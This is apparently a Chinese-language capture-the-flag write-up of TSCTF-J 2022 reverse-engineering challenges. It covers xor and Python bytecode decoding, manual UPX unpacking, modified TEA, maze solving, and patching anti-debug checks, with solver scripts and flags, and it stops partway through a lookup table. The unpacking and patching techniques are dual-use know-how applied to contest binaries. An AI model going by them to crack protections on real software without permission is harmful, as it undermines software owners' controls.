TSCTF-J 2022 WP
Re
baby_xor
加密逻辑如上,密文动态调试,然后 Shift+E 导出密文【这样避免了手动获取】
# encoding=utf-8
enc=[ 0x12, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x6E, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x3A, 0x00,
0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x7C, 0x00, 0x00, 0x00,
0x20, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x7A, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x7B, 0x00, 0x00, 0x00,
0x16, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x08, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x22, 0x00,
0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 0x1B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x12, 0x00,
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x69, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x39, 0x00,
0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x2B, 0x00, 0x00, 0x00,
0x55, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x3C, 0x00,
0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00,
0x13]
for i in range(0,len(enc),4):
print(chr((i//4)^0x46^enc[i]),end='')
TSCTF-J{W3lC0M3_2_ReVEr$E_xOr_1s_$O0o_e2}
byte_code
0x01 题目分析
打开 .txt 文件。发现是python 字节码。那么就需要手动翻译byte_code 变成 python 代码了。
python»理解python的字节码bytecode (hustyx.com)
[(175条消息) CTF逆向-羊城杯 2020]Bytecode-WP-Python字节码反编译_serfend的博客-CSDN博客_ctf python字节码
(175条消息) Python的pyc字节码反编译反汇编相关知识_serfend的博客-CSDN博客_pycdc
转化为python 代码:【这里byte_code.txt 从前往后 依次翻译就行
注意翻译逻辑是,先取值后结合:】
LOAD_CONST # 加载 常量
BUILD_LIST # 创建 list
STORE_NAME # 变量名称
LOAD_NAME # 加载变量名
LOAD_NAME
BINARY_ADD # 做加法
CALL_FUNCTION # 调用函数
# 一些简单指令含义,具体参考官方链接
dis --- Python 字节码反汇编器 — Python 3.10.8 文档
0x02 解密
对应得到下面程序:
# encoding=utf-8
a = [114, 101, 118, 101, 114, 115, 101, 95, 116, 104, 101, 95, 98, 121, 116, 101]
b = [99, 111, 100, 101, 95, 116, 111, 95, 103, 101, 116, 95, 102, 108, 97, 103]
e = [80, 115, 193, 24, 226, 237, 202, 212, 126, 46, 205, 208, 215, 135, 228, 199,
63, 159, 117, 52, 254, 247, 0, 133, 163, 248, 47, 115, 109, 248, 236, 68]
pos = [9, 6, 15, 10, 1, 0, 11, 7, 4, 12, 5, 3, 8, 2, 14, 13]
d = [335833164, 1155265242, 627920619, 1951749419, 1931742276, 856821608, 489891514,
366025591, 1256805508, 1106091325,128288025, 234430359, 314915121, 249627427,
207058976, 1573143998, 1443233295, 245654538, 1628003955, 220633541,1412601456,
1029130440, 1556565611, 1644777223, 853364248, 58316711, 734735924, 1745226113,
1441619500, 1426836945,500084794, 1534413607]
c=a+b
for i in range(32):
print(chr(c[i]),end='')
print()
for i in range(16):
a[i]=(a[i]+d[i])^b[pos[i]]
for i in range(16):
b[i]=b[i]^a[pos[i]]
c=a+b
for i in range(32):
c[i]=c[i]*d[i]&0xff
c[i]=c[i]^e[i]
print(chr(c[i]),end='')
运行,转化后的代码得到flag
TSCTF-J{bY7ecoDe_I$_nOT_so_HArd}
baby_upx
0x01 upx脱壳
使用现有脱壳机都失败。只能手动脱壳!!!
OD 手动脱壳【64 位程序 OD 无法使用】只能使用x64 debug
【这里可以使用二分的思想,在程序中间位置断点,依次缩小范围,直到定位到入口点】
对dump出的程序进行分析。
0x02 程序分析
主函数如下:
加密逻辑如下:
直接爆破解出flag
# encoding=utf-8
import os
import subprocess
# 转化小端序
enc_ = 'AF000000AC000000EC000000AF000000E700000059010000DE000000FC0100006F010000ED010000EC010000DE010000B50000006F010000B5000000EE000000E8000000EE000000FC010000B5000000AD000000AE000000FE010000B5000000EE010000EE0100006E0100007E010000DF0000006C010000D9010000FD01'
for i in range(0, len(enc_), 8):
print(',0x', end='')
for k in range(i + 6, i - 2, -2):
print(enc_[k:k + 2], end='')
enc = [0x000000AF, 0x000000AC, 0x000000EC, 0x000000AF, 0x000000E7, 0x00000159, 0x000000DE, 0x000001FC, 0x0000016F,
0x000001ED, 0x000001EC, 0x000001DE, 0x000000B5, 0x0000016F, 0x000000B5, 0x000000EE, 0x000000E8, 0x000000EE,
0x000001FC, 0x000000B5, 0x000000AD, 0x000000AE, 0x000001FE, 0x000000B5, 0x000001EE, 0x000001EE, 0x0000016E,
0x0000017E, 0x000000DF, 0x0000016C, 0x000001D9, 0x01FD]
# 爆破flag
print()
flag = [''] * 32
for i in range(32):
for k in range(30, 128):
a1 = k
if enc[i] == (4 * (~a1 & 0x5B)) | (2 * (a1 ^ 5)) | ((a1 & 0x15) >> 2) | (8 * (a1 & 0x20)):
flag[i] += chr(k)
print(chr(k), end='')
print()
use = [0] * 32
# TSCTF-J{$uch_$_@A@y_UPx_bp28L#m} 存在多解 借用树的遍历,写出所有解
# for i in range(len(flag)):
# print('["'+flag[i]+'"]',end=',')
print(flag) # 下面可以简单排除不可能的选项再爆破,降低复杂度
flag=['T', 'S', 'C', 'T', 'F', '-', 'J', '{', '$4', 'u', 'cqs', 'hj', '_', '$4', '_', '@B', 'A', '@B', 'y', '_', 'U', 'P', 'x', '_', '`bpr', '`bpr', '"02', '8:', 'L', '#13', 'm', '}']
0x03 多解爆破
通过树的先序遍历进行爆破
flag=['T', 'S', 'C', 'T', 'F', '-', 'J', '{', '$4', 'u', 'cqs', 'hj', '_', '$4', '_', '@B', 'A', '@B', 'y', '_', 'U', 'P', 'x', '_', '`bpr', '`bpr', '"02', '8:', 'L', '#13', 'm', '}']
# 树的遍历爆破
def pri(flag, i, pos, str_):
if i == 32:
filename = r"F:\CTF_\CTF练习\2022_ctf\TSCTF-J 2022\RE\baby_upx\baby_upx.exe"
p = subprocess.Popen([filename], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p.stdin.write(str_.encode())
p.stdin.close()
out = p.stdout.read()
p.stdout.close()
print(out)
if "You are so close to right flag!".encode() not in out:
print(str_)
input()
print("[-]:"+":"+str_)
return
for k in range(pos, len(flag[i])):
pri(flag, i + 1, 0, str_ +flag[i][k])
return
pri(flag,0, 0, '')
最终得到flag
TSCTF-J{$uch_4_BABy_UPx_pr08L3m}
baby_key
0x01 程序分析
程序流程如下图描述:
【注意:这里静态得到的密文是不对的,需要动态调试(或者xor 0x27)获得】
0x02 爆破密钥key
爆破密钥 key
# encoding=utf-8
order = [11, 12, 10, 8, 3, 5, 2, 0, 7, 6, 13, 15, 9, 14, 4, 1]
enc1 = [79, 45, 144, 112, 179, 43, 100, 42, 72, 20, 117, 28, 90, 122, 98, 62]
enc_key = 'flag{VM1sSo3asy}'
for i in range(len(order)):
for k in range(30,128):
tmp = 0
if k <= 115:
if k >= 79:
if k == 79:
tmp = enc1[order[i]] + 7
elif k == 100:
tmp = enc1[order[i]] - 47
elif k == 103:
tmp = enc1[order[i]] - 56
elif k == 104:
tmp = enc1[order[i]] + 43
elif k == 109:
tmp = enc1[order[i]] - 23
elif k == 115:
tmp = enc1[order[i]] + 23
elif k==52:
tmp = enc1[order[i]] - 9
elif k<=52:
if k == 51:
tmp = enc1[order[i]] - 7
elif k == 33:
tmp = enc1[order[i]] +63
elif k == 42:
tmp = enc1[order[i]] - 6
if tmp==ord(enc_key[order[i]]):
print(chr(k),end='')
break
sO*h4hdsOm3!!sg!
k[]={0x682A4F73, 0x73646834, 0x21336D4F, 0x21677321};
0x03 魔改TEA 解密
python 处理数据
# 大小端序,转化和patch出的数据处理
# 假密文
enc_='2F332070AC7E8904CAD2FB03518C802369E0C0E54162F226B887A433FB7A29E445203C2AFE2CEC18F302010E993B0721'
true_enc=[ 0x08, 0x14, 0x07, 0x57, 0x8B, 0x59, 0xAE, 0x23, 0xED, 0xF5,
0xDC, 0x24, 0x76, 0xAB, 0xA7, 0x04, 0x4E, 0xC7, 0xE7, 0xC2,
0x66, 0x45, 0xD5, 0x01, 0x9F, 0xA0, 0x83, 0x14, 0xDC, 0x5D,
0x0E, 0xC3, 0x62, 0x07, 0x1B, 0x0D, 0xD9, 0x0B, 0xCB, 0x3F,
0xD4, 0x25, 0x26, 0x29, 0xBE, 0x1C, 0x20, 0x06]
enc_='081407578B59AE23EDF5DC2476ABA7044EC7E7C26645D5019FA08314DC5D0EC362071B0DD90BCB3FD4252629BE1C2006'
# 小端序
for i in range(0,len(enc_),8):
print(',0x',end='')
for k in range(i+6,i-2,-2):
print(enc_[k:k+2],end='')
print()
for i in range(0,len(enc_),8):
print('0x'+enc_[i:i+8],end=',')
c脚本解密【这里要注意 delta值 大小端序 还有TEA逆向解密的一些细节】
#include <stdio.h>
#include <stdint.h>
//加密函数
void encrypt (uint32_t* v, uint32_t* k,int round) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x61C88647; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < round; i++) { /* basic cycle start */
sum -= delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k,int round) {
uint32_t v0=v[0], v1=v[1], sum=0x61C88647*round*(-1), i; /* set up */
uint32_t delta=0x61C88647; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<round; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum += delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main()
{
uint32_t v[] = {0x08140757,0x8B59AE23,0xEDF5DC24,0x76ABA704,0x4EC7E7C2,0x6645D501,0x9FA08314,0xDC5D0EC3,0x62071B0D,0xD90BCB3F,0xD4252629,0xBE1C2006};
uint32_t k[]={0x682A4F73, 0x73646834, 0x21336D4F, 0x21677321};
int n=sizeof(v)/sizeof(uint32_t);
int round=32;
printf("加密前原始数据:\n");
for (int i=0;i<12;i++)
{
for (int j=0;j<4;j++)
{
printf("0x%x,",((v[i]>>j*8)&0xff));
}
}
for (int i=10;i>=0;i--) // 由于程序本身 TEA 加密相邻,所以解密时得逆着来
{
decrypt(&v[i], k,round);
}
printf("\n解密后的数据:\n");
for (int i=0;i<12;i++)
{
for (int j=0;j<4;j++)
{
printf("%c",((v[i]>>j*8)&0xff));
}
}
for (int i=0;i<=10;i++)
{
encrypt(&v[i], k ,round);
}
printf("\n加密后的数据:\n");
for (int i=0;i<11;i++)
{
for (int j=0;j<4;j++)
{
printf("0x%x,",((v[i]>>j*8)&0xff));
}
}
return 0;
}
TSCTF-J{T1ny_eNcryPtIoN_4LgOrIthm_Is_so_FUn}
ez_maze
0x01 去混淆尝试
ida 【空格】 得到下面 Graph,显然是平坦化了的,直接分析难度比较大!
简单去控制流平坦化 cq674350529/deflat: use angr to deobfuscation (github.com)
【0x401150】 ===>main 函数入口地址
python deflat.py -f ez_maze --addr 0x401150
打开程序,发现所有逻辑都patch 了,所以其实没成功!!
0x02 程序分析
观察程序,先简单处理再去平坦化!!!【或者只能硬逆了】
只能硬逆了!【上述处理是不对的,改变了程序逻辑】
找到地图data,先生成maze,一番测试确定 91*61 【这里通过 地图长度5457 分解因数后知道地图大小】
现在来查找起点,终点位置,移动字母等
初始92 ==> (1,1) 起点
终点5457 ====>(59,88)
pos=5457
print(int(pos//91),',',pos%91) #(59,88)
移动: A 左移3 D 右移3 W 上移182 S 下移 182 【*v27 代表当前位置】
下面图示是,是否撞墙的检测,能移动的话,左右 -+ 3 上下 -+182:【下图标注不准确】
0x02 走地图
【?要用算法写寻路脚本吗,那难度显然不一般】
先脑走一下!!![走不通XX标记,还有逆着走,好排除走不通的路径]
走通了,但是,写路径的时候,一写眼睛就花!写个简单程序来走!【主要帮助记录路线,还有print 走过的路】
# 地图如上
start = 92
print()
path = ''
maze=list(maze)
while True:
tmp = input("give me ch:")
print(tmp)
if tmp == 'A':
start -= 3
elif tmp == 'D':
start += 3
elif tmp == 'W':
start -= 91
elif tmp == 'S':
start += 91
# 更新地图
maze[start] = '#'
# 打印地图
tmp_ = 0
for i in range(len(maze)):
if (tmp_ + 1) % 91 == 0:
print(maze[i])
else:
print(maze[i], end='')
tmp_ += 1
path += tmp
print("当前步数:"+path)
if start == 5457:
break
最终得到上述路线!!!
DSSDWWDDSSDWWDDDSSASSSSSSSSDDSSSSDSSSSDWWDWWAWWWWWWWWASSAAWWDWWDWWDDSSDSSDDWWWWDDSSASSSSSSDDDWWAWWWWWWDWWDDSSSSDSSSSDSSDSSDSSSSAAAAAWWWWASSASSASSDSSDWWDDSSDDDWWDDSSASSDSSSSDWWDWWWWDSSSSSSSSSSSSSSAWWAAWWAAAAASSAAASSASSDDDDWWDWWDSSSSSSDDWWWWDSSSSSSDSSASSSSAAWWAWWWWAASSSSDSSDSSSSDSSDDSSDDSSASSDD
上下移动减半:【我上面脚本上下移动 写的是 -+91,但实际是182】
DSDWDDSDWDDDSASSSSDDSSDSSDWDWAWWWWASAAWDWDWDDSDSDDWWDDSASSSDDDWAWWWDWDDSSDSSDSDSDSSAAAAAWWASASASDSDWDDSDDDWDDSASDSSDWDWWDSSSSSSSAWAAWAAAAASAAASASDDDDWDWDSSSDDWWDSSSDSASSAAWAWWAASSDSDSSDSDDSDDSASDD
import hashlib
path='DSDWDDSDWDDDSASSSSDDSSDSSDWDWAWWWWASAAWDWDWDDSDSDDWWDDSASSSDDDWAWWWDWDDSSDSSDSDSDSSAAAAAWWASASASDSDWDDSDDDWDDSASDSSDWDWWDSSSSSSSAWAAWAAAAASAAASASDDDDWDWDSSSDDWWDSSSDSASSAAWAWWAASSDSDSSDSDDSDDSASDD'
print(hashlib.md5(path.encode()).hexdigest().upper())
1C34207F7C0B2F2C79A28A13B16907C6
TSCTF-J{1C34207F7C0B2F2C79A28A13B16907C6}
Link_Game
0x01 程序分析
应该是无壳的,直接分析,使用dnspy 32 位 逆向!
下面定位到关键函数 【定位到这里,主要是信息比较可疑,还有下面base64 解密的串】
public int[] After_Game = new int[]
{
53,71,22,108,73,97,59,107,63,126,103,125,106,80,98,66,83,93,75,2,94,96,91,48
};
// Token: 0x04000009 RID: 9
public int[] Aim;
// Token: 0x0400000A RID: 10
public int[] k = new int[]
{
71,
65,
77,
51
};
for (int i = 0; i < num - 3; i++)
{
int num2 = this.Aim[i];
int num3 = this.Aim[i + 1];
int num4 = this.Aim[i + 2];
int num5 = this.Aim[i + 3];
this.Aim[i] = (num4 ^ (this.k[0] + (num2 >> 3) & 69));
this.Aim[i + 1] = (num5 ^ (this.k[1] + (num3 >> 4) & 103));
this.Aim[i + 2] = (num2 ^ this.k[2]);
this.Aim[i + 3] = (num3 ^ this.k[3]);
int num6 = this.k[0]; //循环处理
this.k[0] = this.k[1];
this.k[1] = this.k[2];
this.k[2] = this.k[3];
this.k[3] = num6;
}
0x02 逆向解密
python 逆向
# encoding=utf-8
import base64
# print(base64.b64decode('5b2T5YmN5YWz5Y2h77ya')) # 当前关卡:
After_Game = [53,71,22,108,73,97,59,107,63,126,103,125,106,80,98,66,83,93,75,2,94,96,91,48]
key = [71,65,77,51]
for i in range(21): # 先正着来,获取结束状态的key值情况,省得自己推了!
tmp=key[0]
key[0]=key[1]
key[1]=key[2]
key[2]=key[3]
key[3]=tmp
for i in range(20, -1, -1): # 对加密逻辑得逆向
tmp = key[3]
key[3] = key[2]
key[2] = key[1]
key[1] = key[0]
key[0] = tmp
num3 = After_Game[i + 3] ^ key[3]
num2 = After_Game[i + 2] ^ key[2]
num5 = After_Game[i + 1] ^ (key[1] + (num3 >> 4) & 103)
num4 = After_Game[i] ^ (key[0] + (num2 >> 3) & 69)
After_Game[i] = num2
After_Game[i+1] = num3
After_Game[i+2] = num4
After_Game[i+3] = num5
for i in range(24):
print(chr(After_Game[i]),end='')
TSCTF-J{Y0u_@r3_1inKgAm3_M@2TeR!}
Thunder_air
0x01 文件修复
exeinfo_
There is something wrong in the PE LOADER. Can you fix it? Hint:Intel 386 Machine. Find its machine code!
删除文字,再使用exeinfo,得到 32 位
ida 32 位,Intel 386 Machine。【ida 上不存在】
使用ghidra【也不存在】,只能Intel 386 Machine 聚焦这进行了。
通过010 edit 中的。exe.bt 模板,在PE NT 头中发现存在
enum IMAGE_MACHINE Machine ===> 修改为 I386
现在程序可以正常逆向了!
0x02 程序分析
发现花之恋,去除两处花之恋后!【花指令】【主要通过,D 转化为数据后,nop掉导致异常的字节码,这里需要自行尝试】
程序正常F5 后,找到input 位置,分析知道是变表base64 编码!
密文到 base64 编码数据有如下转化:
enc1=[ 0x78, 0x4E, 0x7B, 0x15, 0x78, 0x47, 0x20, 0x6B, 0x7E, 0x7C,
0x17, 0x73, 0x70, 0x52, 0x67, 0x1F, 0x60, 0x78, 0x1A, 0x75,
0x74, 0x7F, 0x77, 0x4B, 0x70, 0x18, 0x5E, 0x7C, 0x56, 0x49,
0x72, 0x67, 0x57, 0x7F, 0x5E, 0x19, 0x74, 0x5B, 0x45, 0x59,
0x7B, 0x15, 0x4E, 0x69, 0x56, 0x71, 0x76, 0x71, 0x57, 0x4E,
0x72, 0x17, 0x4B, 0x78, 0x1A, 0x7C, 0x75, 0x18, 0x71, 0x73,
0x76, 0x56, 0x71, 0x23]
v10=[0]*len(enc1)
for i in range(len(enc1)):
v10[i]=(enc1[i]-5)^0x23
print(chr(v10[i]),end='')
# PjU3Pa8EZT1MHnA9xP6SLYQeH0zTrgNAqYz7LucwU3jGrOROqjN1eP6TS0OMRrO=
查看,base64 table。发现存在不可见字符【静态分析】
显然,需要动态调试获得真正的base64 变表。
交叉引用,跳转到上一个函数。也是游戏逻辑的主要模块!
其中存在debug,分数值判断,sleep等。同时需要先游戏完成,才能输入flag
那么如何绕过限制呢?【必然不可能去玩游戏】
【这里通过修改程序逻辑,绕过】【主要是,修改Debug运行逻辑,sleep()等待时间,分数值>=100000】【Debug 处理比较简单】修改后,如下图:
然后就可以动态调试了!动调得到base64 变表!【这里也是动态分析得目的】
sQ+3aj02RchXLUFmSNZoYPlr8e/HVqxwfWtd7pnTADK51Evi9kGMOgbuIzyB46JC
0x03 解密py
变表base64 解编码:
# encoding=utf-8
import base64
enc1=[ 0x78, 0x4E, 0x7B, 0x15, 0x78, 0x47, 0x20, 0x6B, 0x7E, 0x7C,
0x17, 0x73, 0x70, 0x52, 0x67, 0x1F, 0x60, 0x78, 0x1A, 0x75,
0x74, 0x7F, 0x77, 0x4B, 0x70, 0x18, 0x5E, 0x7C, 0x56, 0x49,
0x72, 0x67, 0x57, 0x7F, 0x5E, 0x19, 0x74, 0x5B, 0x45, 0x59,
0x7B, 0x15, 0x4E, 0x69, 0x56, 0x71, 0x76, 0x71, 0x57, 0x4E,
0x72, 0x17, 0x4B, 0x78, 0x1A, 0x7C, 0x75, 0x18, 0x71, 0x73,
0x76, 0x56, 0x71, 0x23]
v10=[0]*len(enc1)
for i in range(len(enc1)):
v10[i]=(enc1[i]-5)^0x23
print(chr(v10[i]),end='')
change_table='sQ+3aj02RchXLUFmSNZoYPlr8e/HVqxwfWtd7pnTADK51Evi9kGMOgbuIzyB46JC'
table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
str1='PjU3Pa8EZT1MHnA9xP6SLYQeH0zTrgNAqYz7LucwU3jGrOROqjN1eP6TS0OMRrO=' # base64加密密文
print(base64.b64decode(str1.translate(str.maketrans(change_table,table))))
TSCTF-J{3nj0y_P1@Ylng_ThuNd3r_41r_B4tTle_g@m3!}
upx_revenge
0x01 vpx壳分析
UPX[NRV2B_LE32,best,Modified(21585056)]
ida 里发现一些加壳相关的信息
$Info: This file is packed with the VPX executable packer http://upx.sf.net
$Id: VPX 3.95 Copyright (C) 1996-2018 the VPX Team. All Rights Reserved.
UPX - the Ultimate Packer for eXecutables (github.com)
知道野蛮人/超野蛮人做什么吗? ·问题 #174 ·上行/上行 (github.com)
查找到一些相关信息,但都无法利用
ida 动态调试,不好断。还异常退出,继续用X64deBUG 脱壳【突然意识到,X64debug 只能调式exe文件,OD 只能32 位】。那么只能继续用ida 进行处理。
0x02 Ida 带壳动态调试
ELF64手脱UPX壳实战 - 『脱壳破解区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
不断动调后,确定程序大概入口点!【最开始分析的,不太准确】
C 强制转化得到类似加密函数,混淆了
同时也在这个函数发现,Your Input is Correct! 字样。【显然就是关键函数了】
接下来,就需要正确dump出程序进行详细分析了!
【这里先通过,010修改程序入口的方式尝试】
entry 改为 0x401090 后,动态调试,发现程序直接获取了输入。说明,这个入口不对还得分析。【再次获得 0x4016D1 、0x401070 等 入口 】010 修改入口后多次尝试!【有瞎猜的味道了】【但是,这种方式是无用的,因为加壳程序有类似smc 自修改的效果,光静态修改入口,得到的程序没有啥作用。还会让程序更加难以分析 】
【下图是,ida多次尝试后,动态调试到的真正的程序逻辑处,但是光跳转此处,就得10多步断点,每次动态调试都是不小的挑战【带壳分析】】
和第一次,动调的位置差不多。也大致确定程序入口的范围!!!
【下图是通过定位,Your Input is Correct. 进行回退分析,发现eax 每次 sub 一个定值(或许就是密文),到入下判断点时,若为0 则输入正确】
【这个判断是错误的,现在知道这只是混淆手段,程序的每一步运行轨迹都是确定的】
# 做题时的错误分析
eax 来源于 ebp-0x16===>ebp-0x14====>input 【error】
ebp-0x14 动调可以知道 等于 input 【error】
如上简单分析了一下。【上面几条分析,是错误的,但对当时做题是有用的,不断的推翻重来,才能逐渐接近正确逻辑】
【再次修改程序入口点,进行调试发现帮助不大,main函数的最终启动,位于libc_main 一个.so 文件,然后才跳转到真正逻辑,只单纯改入口点没有用】
如下是正确的脱壳思路:
【尝试动态调试到关键函数,再dump出程序(相当于copy当前状态),这样确保了程序的正确逻辑,也是ida dump 脱壳的思路】
【同时这个方法有一个限制,就是脱壳后的程序,只能静态分析,所以还是需要动静结合,才能正确分析出程序流程】
# dump 当前状态,也相当于脱壳了
start_address=0x400000
end_address=0x405F70
Shift F2 打开python 脚本dump程序
import idaapi
start_address=0x400000
end_address=0x405F70
data_length=end_address-start_address
data = idaapi.dbg_read_memory(start_address, data_length)
fp = open(r'F:\CTF_\CTF练习\2022_ctf\TSCTF-J 2022\RE\upx_revenge\010_edit\dump', 'wb')
fp.write(data)
fp.close()
【当然后面和出题人交流知道,这题的壳可以通过010 将所有 vpx 字样,改为 upx 就可以正常upx脱壳机脱壳】直接头铁,硬逆了属实!
0x03 脱壳静态与带壳动态结合分析
如上dump 出程序,脱壳成功!!!
首先根据一些明显的判断,知道flag格式 长度 45
# 大概格式!
【TSCTF-J{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}】
flag='TSCTF-J{'+'X'*36+'}'
flag=list(flag)
flag[21]='-'
flag[16]='-'
flag[31]='-'
flag[26]='-'
print(''.join(flag))
检测思路,先通过验证输入字符是否正确,正确才会继续跳转到下面的验证!!!【静态不易分析】
【由于dump的程序,无法动态调试,还是继续用原本的程序进行动态调试,两相结合进行分析】
太折磨人了!看能不能带壳去平坦化!【当时到这里,已经想放弃了,,,】
python deflat.py -f upx_revenge_test --addr 0x4016D0【不可以去平坦化】
那继续动态调试,分析!!!折磨人呀
下面是程序加密逻辑的分析:
【TSCTF-J{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}】
【/root/ida_/upx_revenge】
分析知道:【下面看似简略,但分析出结论,我花了大功夫的,静态猜测加密逻辑,动态去验证,然后推翻。再结合静态验猜测,再验证,以此往复】
1.先做格式检查 TSCTF-J{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
2.将字符两两取出,其值为下标,通过映射表byte_405060,xor 0x35
得到一个长度为16 的数组,继续加密
接下来,以TSCTF-J{12345678-4321-abcd-4321-abcdef123456}继续测试动态调试
3. sub_401180 加密逻辑 【脱壳后静态与原本程序动态结合分析】 四轮 每轮加密4次 【最终得到,下面加密逻辑,后面知道是矩阵乘法】
# v11 = v16 + v17 * a4;
# *(_QWORD *)(a3 + 8 * v11) += *(_QWORD *)(a2 + 8LL * (v16 + v15 * a4)) * * (_QWORD *)(a1 + 8LL * (v15 + v17 * a4));
tmp=[0]*4
for i in range(2):
for k in range(2):
for j in range(2):
tmp[k+2*i]+=order[j+i*2]*data[k+j*2]
print(tmp)
4.
case 0x5577F8E1:
qword_405EF0[4 * v50 + v49] -= qword_405160[4 * v50 + v49] * qword_405260;
qword_405EF0[4 * v50 + v49] = (unsigned __int64)qword_405EF0[4 * v50 + v49] >> 1;
4 * 4 次:
联系第三个步骤!可写出如下函数
def enc1(order, data):
tmp = [0] * 16
for i in range(2):
for k in range(2):
for j in range(2):
tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]
return tmp
tmp1 = [0] * 16
tmp2 = [0] * 16
for i in range(4):
tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:])
print("第",i,"组:",tmp2)
for k in range(4):
tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1
5. 第五步分析,是个16次的循环
【发现是将加密结果 与密文比较 干,终于到这一步了】
patch 出密文 解密程序得到flag
enc=[0x62961C0FE4D28,0x37FB23287E2852,0x3E1C8F5457EF0,0x234502946A064A,0xD87741DA9D659,0x26269C0306349,0x138CA0B38EE747,0x37209312D14CF,0x6FFB20902E85A6,0xA4DFB45E434627,0xB2F4F8CBA70ADE,0x1077C2F84B5994B,0x413B997953E9D1,0x642F09CFEEA51C,0x20DBBAEB80A022,0x3276ADEF34B91D]
下面是验证加密逻辑是否分析正确:【通过动态调试 patch 程序数据,到下面程序跑,看跑出的结果和程序运行的结果是否相同 】
'TSCTF-J{12345678-4321-abcd-4321-abcdef123456}'
# 805
print(805 * 0x19)
order = [0x10, 0x05, 0x09, 0x04, 0x02, 0x0B, 0x07, 0x0E, 0x03, 0x0A, 0x06, 0x0F, 0x0D, 0x08, 0x0C, 0x01]
data = [0x19, 0xB0, 0x51, 0x6F, 0x4F, 0x0E, 0x2D, 0xAC, 0x4F, 0x0E, 0x2D, 0xAC, 0x6E, 0x19, 0xB0, 0x51]
unk_4051E0 = [0x18, 0x76, 0x02, 0xE9, 0xA4, 0x00, 0x08, 0x35, 0x74, 0x20, 0x02, 0xB9, 0x5A, 0xC7, 0x6F, 0x6F]
end = [805, 3371, 549, 2028]
# v11 = v16 + v17 * a4;
# *(_QWORD *)(a3 + 8 * v11) += *(_QWORD *)(a2 + 8LL * (v16 + v15 * a4)) * * (_QWORD *)(a1 + 8LL * (v15 + v17 * a4));
def enc1(order, data):
tmp = [0] * 16
for i in range(2):
for k in range(2):
for j in range(2):
tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]
return tmp
tmp1 = [0] * 16
tmp2 = [0] * 16
for i in range(4):
tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:])
for k in range(4):
tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1
print("第", i, "组:", tmp2)
print(tmp2)
# 是相同的,加密逻辑分析的是正确的!!!
肝了2/3天终于出来了!!!【当时的感触,保留了下来】
【但是后面发现,加密流程难分析,解密也不简单呀!】
0x04 Z3 解密
解密程序如下【下面的脚本,由于当时知道加密逻辑,但未识别出是矩阵乘法,所以逆向的时候,通过Z3 方程,列出未知数求解】
# encoding=utf-8
import hashlib
from z3 import *
# 映射表
byte_405060 = [0x19, 0x1B, 0x05, 0xB2, 0x24, 0xCE, 0x77, 0x7C, 0x7E, 0x9C,
0x22, 0x65, 0xF4, 0xEB, 0xBE, 0x55, 0xD8, 0xC4, 0x2C, 0xB8,
0x3E, 0x3D, 0x6F, 0xB6, 0xBD, 0x8C, 0x39, 0x48, 0xCB, 0x38,
0x73, 0x0C, 0x6A, 0x3B, 0x81, 0x9F, 0x7D, 0x2B, 0x67, 0x1A,
0xD2, 0x40, 0xFC, 0x35, 0xD3, 0xD6, 0x41, 0x96, 0x56, 0xAC,
0x6B, 0xAD, 0x85, 0xAE, 0xA2, 0x8D, 0x42, 0x2F, 0xD7, 0x23,
